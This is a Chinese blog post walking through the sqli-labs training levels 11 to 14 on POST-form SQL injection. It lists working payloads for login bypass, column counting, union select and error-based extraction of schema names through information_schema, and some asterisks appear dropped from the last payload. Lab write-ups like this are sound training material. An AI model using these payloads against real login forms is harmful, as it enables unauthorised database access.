美文网首页
sqli-labs less11-less14

sqli-labs less11-less14

作者: Yix1a | 来源:发表于2019-05-13 16:30 被阅读0次
  • less11

  • POST型与GET型,不大相同。
  • 输入用户名1',得到错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1
  • 猜测语句为
    select username,password from table where username = 'inputname' and password = 'inputpass'
  • 让这个语句为真就会得到结果,怎么为真呢?
  • 构建1' or 1=1 #或-- (有空格)
  • 1' or 1=1 limit 1,1# 会得到第二项结果
  • 测试POST的字段数目
  • 1' or 1=1 order by 3#
  • 联合查询1' or 1=1 union select 1,2 #是没有反应的,要用1' union select 1,2 #,因为联合查询要前面的为false,所以更保险的是1' and 1=2 union select 1,2 #
    分析: union 前面的 where 条件肯定是为假的,因为 and 了一个 1=2,在网上查找资料说的是 id=1 and 1=2 的 结果集 是 0,所以显示 union select 后面的 结果集
  • less12

    • 与less11类似,不过是1‘变成1")
  • less13

  • 输入',",),)),\等测试
  • 报错发现是id=1') or 1=1 #
  • 进行POST报错注入1') and (select 1 from (select count(),concat('::',(select schema_name from information_schema.schemata limit 0,1),'::',floor(rand()2))x from information_schema.tables group by x) a ) #
  • less14

  • 与less11类似就是变成了双引号

相关文章

网友评论

      本文标题:sqli-labs less11-less14

      本文链接:https://www.haomeiwen.com/subject/mxqraqtx.html